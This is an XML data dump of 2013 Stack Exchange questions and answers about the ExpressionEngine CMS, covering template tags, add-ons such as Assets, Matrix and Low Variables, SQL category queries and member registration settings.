  <row Id="11616" PostTypeId="2" ParentId="11596" CreationDate="2013-07-02T14:25:58.420" Score="1" Body="&lt;p&gt;Your proposed solution should work fine, it's exactly what I use. What is your issue with using that tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to use my Entries plugin, which is free. Stash however is perfect for this. The logic is, you stash the output of that entries tag and output in multiple places in the template. So you run the logic 1 time and output it where it is needed. I can understand not wanting to use Stash if it's a little complicated and verbose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of my Entries add-on. This tag is nestable within other channel entries tags and can even be prefixed. Entries is stable, I use it on every site, I just haven't officially released it yet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:entries:profile channel=&quot;profiles&quot;}&#xA;    {entry_id}&#xA;{/exp:entries:profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/entries/documentation/tag/profile&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/entries/documentation/tag/profile&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-02T14:25:58.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11617" PostTypeId="1" CreationDate="2013-07-02T14:53:55.107" Score="0" ViewCount="86" Body="&lt;p&gt;I'm using Solspace User and I’m hoping this is just something simple I’ve overlooked or can’t find, but I’m trying to send the notification email when a new user registers to multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct in saying that I go to Members &gt; Preferences and enter the addresses in the “Email Address for Notification” field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve done this, but it’s only sending to the first address on the list.  I’ve taken over this site from someone else, so I might just not be putting them in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-07-02T14:53:55.107" Title="Solspace User Notification emails" Tags="|solspace-user|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11618" PostTypeId="1" AcceptedAnswerId="11625" CreationDate="2013-07-02T15:14:11.907" Score="0" ViewCount="166" Body="&lt;p&gt;Is there's a way to display column labels from a Matrix field in templates?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;{column:label} : {columnvalue}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="104" LastEditDate="2013-07-04T09:57:15.797" LastActivityDate="2013-07-04T09:57:15.797" Title="Displaying column labels from a Matrix field" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11619" PostTypeId="1" CreationDate="2013-07-02T16:39:32.097" Score="1" ViewCount="1436" Body="&lt;p&gt;Running ExpressionEngine V2.6.1 (20130506) and Assets 2.1.3 and whenever I upload images to Assets or have some already uploaded and try to view them either in Assets or WygWam (which I'm also using on a site) then there are no thumbnails shown for any images at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked on the server and in the _thumbs folder there are actually images in there which are small however these images have permissions of 666 and Owner &amp;amp; Group = apache where all other files that I have uploaded have Owner = sitename &amp;amp; Group = psacIn (not sure if it is an I or a lowercase l as my FTP editor won't allow me to copy that text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering if the Owner &amp;amp; Group is the culprit here or is there something else I should be looking into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2013-10-01T07:50:27.813" Title="Assets thumbnails not showing" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11620" PostTypeId="2" ParentId="11458" CreationDate="2013-07-02T17:32:32.477" Score="2" Body="&lt;p&gt;Contrary to EE docs, it appears you can access the search parameter when using related_categories=&quot;yes&quot;. I just had my syntax wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;academy-items&quot;  &#xA;related_categories_mode=&quot;yes&quot;&#xA;custom_fields=&quot;yes&quot;&#xA;search:a-audience=&quot;Customer-Support&quot;}&#xA;...&#xA;{/exp:channel_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-07-02T17:32:32.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11621" PostTypeId="2" ParentId="11619" CreationDate="2013-07-02T17:32:42.043" Score="1" Body="&lt;p&gt;Assets stores it's thumbnails in the /cache folder.&#xA;If you had previously uploaded images in the upload directories, did you run the &quot;Update indexes&quot; function?&#xA;&lt;a href=&quot;http://docs.pixelandtonic.com/assets/using/indexing.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/using/indexing.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should get your thumbs back.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-07-02T17:32:42.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11622" PostTypeId="1" AcceptedAnswerId="11623" CreationDate="2013-07-02T17:55:55.040" Score="0" ViewCount="1313" Body="&lt;p&gt;Unsure how to get this... I need to display from a gigantic list of events, sorted by start-date but only displaying 1 event that is set to happen the soonest but not already ended.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_date &amp;gt;= current_time}&#xA;    {title}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above shouldn't work because the limit applies before the loop. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-07-03T08:12:03.860" Title="Display channel entry by date and limit to upcoming only" Tags="|channel-entries|date|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11623" PostTypeId="2" ParentId="11622" CreationDate="2013-07-02T18:02:36.990" Score="0" Body="&lt;p&gt;You can use the &lt;code&gt;start_on&lt;/code&gt; parameter within the channel entries tag. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;channel_name&quot;&#xA;    limit=&quot;1&quot;&#xA;    sort=&quot;asc&quot;&#xA;    start_on=&quot;{current_time format='%Y-%m-%d %H:%i'}&quot;&#xA;    show_future_entries=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-07-02T18:10:07.040" LastActivityDate="2013-07-02T18:10:07.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11624" PostTypeId="2" ParentId="11622" CreationDate="2013-07-02T18:03:28.160" Score="0" Body="&lt;p&gt;You could use the free Solspace add-on called &lt;a href=&quot;http://www.solspace.com/software/detail/date_field_filter/&quot; rel=&quot;nofollow&quot;&gt;Date Field Filter&lt;/a&gt;. It would allow you to dynamically set a start date of current_time which would then be future-friendly in the way you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-02T18:03:28.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11625" PostTypeId="2" ParentId="11618" CreationDate="2013-07-02T18:09:33.007" Score="1" Body="&lt;p&gt;As far as I know, I don't think you can. However, Matrix has a table tag that quickly creates a HTML table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field:table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, I suggest using conditionals to hard code the 'labels' within your template. I would have to see a sample of the code first to help with conditionals&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-07-02T19:27:29.997" LastActivityDate="2013-07-02T19:27:29.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11627" PostTypeId="2" ParentId="11510" CreationDate="2013-07-02T18:49:16.710" Score="-1" Body="&lt;p&gt;It looks like it needs more then 256M did you try to increase it to 512M? Be aware that not all servers allow htaccess to increase the memory limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 512M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1719" LastActivityDate="2013-07-02T18:49:16.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11629" PostTypeId="1" AcceptedAnswerId="11632" CreationDate="2013-07-02T20:48:24.813" Score="1" ViewCount="156" Body="&lt;p&gt;I'm trying to speed my site up with a few direct queries.&lt;/p&gt;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;{exp:query sql=&amp;quot;SELECT field_id_16 FROM exp_channel_data WHERE channel_id='4' &amp;quot;}&#xA;{field_id_16}&lt;/p&gt;&#xA;&lt;p&gt;{/exp:query}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What query will I need to restrict these entries to a certain category? I'll probably need to join exp_category_posts?&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-07-02T21:06:51.423" Title="Building a list of entries from a single category with exp:query" Tags="|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11630" PostTypeId="1" AcceptedAnswerId="11631" CreationDate="2013-07-02T20:49:03.403" Score="0" ViewCount="330" Body="&lt;p&gt;Just running a test and this should be working as I have an entry in my &quot;event&quot; channel with and id of &quot;907&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;event&quot; &#xA;    entry_id=&quot;907&quot; &#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;    {title}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead nothing is returned. If I take entry_id off, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of my table:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I1ei3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/I1ei3.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-07-02T20:52:03.250" Title="entry_id is not working" Tags="|channel-entries|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11631" PostTypeId="2" ParentId="11630" CreationDate="2013-07-02T20:52:03.250" Score="1" Body="&lt;p&gt;The date in the screen shot says 2014?  Is it possible it's not active yet?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-07-02T20:52:03.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11632" PostTypeId="2" ParentId="11629" CreationDate="2013-07-02T21:06:51.423" Score="2" Body="&lt;p&gt;Off the top of my head I'm pretty sure this should work for you :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT field_id_16 FROM exp_channel_data cd&#xA;LEFT JOIN exp_category_posts cp&#xA;ON cd.entry_id = cp.entry_id&#xA;WHERE cp.cat_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the cp.cat_id = 1 number to whichever category ID you need and I'm fairly certain you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2013-07-02T21:06:51.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11633" PostTypeId="2" ParentId="11244" CreationDate="2013-07-02T21:33:23.717" Score="3" Body="&lt;p&gt;I had this issue myself. I uninstalled the HealthCheck accessory and viola - CT Settings! If you are using HealthCheck, you will have problems with CartThrob.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-07-02T21:33:23.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11634" PostTypeId="1" CreationDate="2013-07-03T01:44:40.813" Score="0" ViewCount="264" Body="&lt;p&gt;I am new to Expression Engine, I am looking for a plugin or extension that will allow me to authenticate admin users against Active directory. Can someone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1726" LastActivityDate="2013-10-02T11:51:31.717" Title="LDAP Authenication on admin users?" Tags="|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11635" PostTypeId="2" ParentId="11603" CreationDate="2013-07-03T05:36:09.113" Score="1" Body="&lt;p&gt;Yes, it possible by creating an extension with the hook &quot;member_delete&quot;.&#xA;Within this extension, you can call the Membrr cancel subscription method by passing member's  subscription ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cancellation code would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sub_id = x; // Get the member's subscription id with query&#xA;require PATH_THIRD.'membrr/class.membrr_ee.php';&#xA;$membrr = new Membrr_EE;&#xA;$membrr-&amp;gt;CancelSubscription($sub_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would work. Although, I would suggest you to test at your end.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-03T05:36:09.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11636" PostTypeId="1" AcceptedAnswerId="11661" CreationDate="2013-07-03T05:38:18.593" Score="0" ViewCount="356" Body="&lt;p&gt;Does EE allow multiple members to use the same email address when registering? I'm able to register members using the same email address, which is something I don't want to happen. This &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7371/allow-duplicate-emails-no-email-address-on-member-registration&quot;&gt;Allow duplicate emails/no email address on Member Registration&lt;/a&gt; seems to suggest that EE does not allow it, though. Is this supposed to be a setting or something?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-03T16:11:03.730" Title="Duplicate email address allowed in member registration?" Tags="|members|member-management|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11637" PostTypeId="2" ParentId="11619" CreationDate="2013-07-03T05:50:44.093" Score="1" Body="&lt;p&gt;sorry to hear you're having troubles!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumbnails for Assets are not being stored in the _thumbs folder - that's for EE's Filemanager. Since Assets serves thumbnails in different sizes, we're storing it in system/expressionengine/cache/assets folder. Can you make sure that the system/expressionengine/cache folder is writable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, then please do shoot us an email to support@pixelandtonic.com so we can track this down and fix it for you.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-07-03T05:50:44.093" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11638" PostTypeId="1" AcceptedAnswerId="11687" CreationDate="2013-07-03T06:15:06.737" Score="1" ViewCount="34" Body="&lt;p&gt;Ok I have brands for products stored as a Playa so I can do various things with them...obviously simple things like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{cf_paper_brand}&#xA;     {title}&#xA;{/cf_paper_brand}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, later I want to include a list of articles based on that product's brand.  I am storing these related articles in low variables(of playas) - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt; lv_brand1_articles, lv_brand2_articles &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus my basic issue is I want to retrieve/choose the appropriate low variable based on the playa brand field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like it should be easy, and certainly I can do it with a bunch of conditionals I guess.  But I am thinking there must be a more elegant solution...basically, I just need to get the brand title once and then use this in a few spots as a 'stub' when retrieving the low variable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudo code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;if cf_product_brand == &quot;brand1&quot; then&#xA;    {exp:low_variables:parse var=&quot;{lv_brand1_articles}&quot; var_prefix=&quot;brand_articles&quot;}&#xA;        {brand_articles:title}&#xA;    {/exp:low_variables:parse}&#xA;else if cf_product_brand == &quot;brand1&quot;&#xA;    {exp:low_variables:parse var=&quot;{lv_brand2_articles}&quot; var_prefix=&quot;brand_articles&quot;}&#xA;        {brand_articles:title}&#xA;    {/exp:low_variables:parse}&#xA;else if....&#xA;&lt;/pre&gt;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc... but for a LOT of brands, and I have related articles, links, and files.  So I will end up with a block of 30+ conditionals - which sucks.  Basically, I want to keep this mess of conditionals out of my template or at least in one spot in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO - If could set a stub of the brand title somehow, then retrieve {lv_{stub}_articles} - that would work....but I can't seem to do this.  I have tried with stash but I am new to all the parse order issues and getting confused.  I am thinking maybe I need to use a low variable with a pre_parse thing but can't quite seem to get it ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated!!  I am relatively new to EE and Stack Exchange etc.  Hope I have asked correctly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And note - the brand is not available in the segment_x variables as it's not in the URL.  I could in theory put it there, but I'd really prefer not to)&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="1532" LastEditDate="2013-07-04T05:48:34.317" LastActivityDate="2013-07-04T05:48:34.317" Title="Choose a specific low variable based on playa via stub?" Tags="|playa|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11639" PostTypeId="2" ParentId="11636" CreationDate="2013-07-03T07:32:05.073" Score="1" Body="&lt;p&gt;Yes, EE doesn't allow duplicate email for registration. I think, you are using &quot;Profile: Edit&quot; module for the registration process. If so go to Extension Settings -&gt; Profile Edit. From here select &quot;No&quot; for &quot;Allow Multiple Profiles&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-03T07:32:05.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11640" PostTypeId="1" CreationDate="2013-07-03T08:00:06.573" Score="1" ViewCount="48" Body="&lt;p&gt;Sorry if this is obvious but we have an entry which contains multiple venues and dates for a specific event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the user to be able to add a specific venue and date to iCal by simply clicking on a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Easy iCal docs are a bit light so can someone explain the best way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Using Stash if that makes it easier!&lt;/p&gt;&#xA;" OwnerUserId="303" LastEditorUserId="150" LastEditDate="2013-07-08T09:49:01.870" LastActivityDate="2013-10-06T11:51:44.380" Title="Create a link to add Matrix stored event to iCal using Easy iCal" Tags="|expresso|ical|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11641" PostTypeId="2" ParentId="11622" CreationDate="2013-07-03T08:12:03.860" Score="0" Body="&lt;p&gt;Using the start_on and stop_on has flexibility without using an add-on. Add a bit of PHP to increase your options.&#xA;I frequently want to display just entries that are dated either in the next and/or last 7 days.&#xA;You need to allow PHP on input in the template. Change the 604800 to however many seconds you want the time period to be.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$start_time = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;format_date('%Y-%m-%d %H:%i', $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now - 604800);&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;$stop_time = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;format_date('%Y-%m-%d %H:%i', $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now + 604800);&#xA;?&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;channel_name&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot; start_on=&quot;&amp;lt;?php echo $start_time; ?&amp;gt;&quot; stop_before=&quot;&amp;lt;?php echo $stop_time; ?&amp;gt;&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-07-03T08:12:03.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11642" PostTypeId="1" CreationDate="2013-07-03T08:42:19.137" Score="0" ViewCount="1027" Body="&lt;p&gt;I'll try to explain it. Here we go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searched all over the web but got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a setup where no category is used in the URL. Navigation is build with stucture. I've got a channel with entries which do have a category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a entry with structue I assign a category as well. &#xA;You'll get something like this in stucture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locations &#xA;- Location A (has template X and category Y)&#xA;- Location B (has template X and category Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the url looks something like this:&#xA;www.website.com/locations/location-a/&#xA;www.website.com/locations/location-b/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the category. But I do want to display the entries which belong to the Location with category Y or Z. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solutions I've tried all need the cat name or id in the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be that I'm looking at it the wrong way.  Hope someone can help me or point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Martijn&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-07-18T12:00:11.363" Title="Get category id when not in URL" Tags="|categories|structure|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11643" PostTypeId="1" CreationDate="2013-07-03T08:57:10.797" Score="2" ViewCount="122" Body="&lt;p&gt;I am trying to add rackspace cloud files to assets, but when saving I get white screen. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&#xA;Assets 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with amazon s3 , and private and public repos on both to test.&lt;/p&gt;&#xA;" OwnerUserId="861" LastActivityDate="2013-08-09T04:03:17.407" Title="Assets and Rackspace White screen on save" Tags="|assets|cloudfiles|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11644" PostTypeId="2" ParentId="11642" CreationDate="2013-07-03T09:00:52.473" Score="1" Body="&lt;p&gt;I'm not sure I understand what you're trying to achieve. Have you looked at any of these addons to see if they can do what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL Segment tom-foolary:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freebie&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-triggers&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/zoo-triggers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Full on routing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freeway&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freeway&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/router&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've not used any of the routing addons in production but they look pretty solid. &lt;/p&gt;&#xA;" OwnerUserId="261" LastEditorUserId="261" LastEditDate="2013-07-18T12:00:11.363" LastActivityDate="2013-07-18T12:00:11.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11645" PostTypeId="1" AcceptedAnswerId="11659" CreationDate="2013-07-03T09:54:36.753" Score="0" ViewCount="128" Body="&lt;p&gt;How simple is it to build a basic forum in EE? I assume Categories can be used for forum categories. Then create a channel &quot;Forum Topics&quot; with a &quot;Message&quot; field. Then perhaps use the Comment addon so everyone can comment on the forum topic? I'd like to be able to support search, as well. That means being able to search the entries in &quot;Forum Topics&quot; and the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be easier to use an addon? I've taken a look at EE's forum addon. It's too full featured for what I need. Also, the markup, etc. is very messy. I'd need to integrate it with Twitter Bootstrap -- and maybe that's too huge of an undertaking. Maybe it's easier to just build something on my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: If I were to build a blog, would I take the same approach? A simple Channel with a &quot;content&quot; field, Comments addon, and maybe a tag addon?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-07-03T14:00:32.507" LastActivityDate="2013-07-03T15:45:43.250" Title="Build a forum? Or buy forum addon? What about blog?" Tags="|add-on|forum|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11646" PostTypeId="1" AcceptedAnswerId="11652" CreationDate="2013-07-03T09:59:45.353" Score="0" ViewCount="136" Body="&lt;p&gt;I've tried the Solspace User module registration form and the standard EE registration form and I'm get the same error on both submissions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form you submitted contained the following errors:&#xA;You must provide a valid registration code to complete your registration. (note: Registration codes, like passwords, are case-sensitive.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no reference to registration codes or even a captcha in my registration forms. In my member preferences I have allow member registrations set to yes, require terms of service is no, enable membership captcha is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what is wrong and what registration code EE is looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Julie&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-07-03T11:14:38.597" Title="User registeration form valid registration code error" Tags="|registration|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11647" PostTypeId="1" AcceptedAnswerId="11650" CreationDate="2013-07-03T10:35:30.773" Score="1" ViewCount="158" Body="&lt;p&gt;I need to add a random class from a selection of pre-defined classes to the body tag of a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it with JS but the change is visible so I would like to do it before the page is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Mikee&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2013-07-03T18:42:05.557" Title="Add a randomised body class" Tags="|random|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11648" PostTypeId="2" ParentId="11647" CreationDate="2013-07-03T10:42:22.917" Score="0" Body="&lt;p&gt;Inefficient I guess but you could use channel entries with a random sort order, a matrix field with the same or I think Low Variables would be the most efficient way.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-07-03T10:42:22.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11649" PostTypeId="2" ParentId="11647" CreationDate="2013-07-03T10:42:47.293" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-random/docs#item-tag&quot; rel=&quot;nofollow&quot;&gt;Low Random&lt;/a&gt; looks like it'd do the job.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-07-03T10:42:47.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11650" PostTypeId="2" ParentId="11647" CreationDate="2013-07-03T10:43:14.203" Score="4" Body="&lt;p&gt;You could use &lt;a href=&quot;http://gotolow.com/addons/low-random&quot; rel=&quot;nofollow&quot;&gt;Low Random&lt;/a&gt; maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:low_random:item items=&quot;cat|dog|ferret|raptor&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-07-03T10:43:14.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
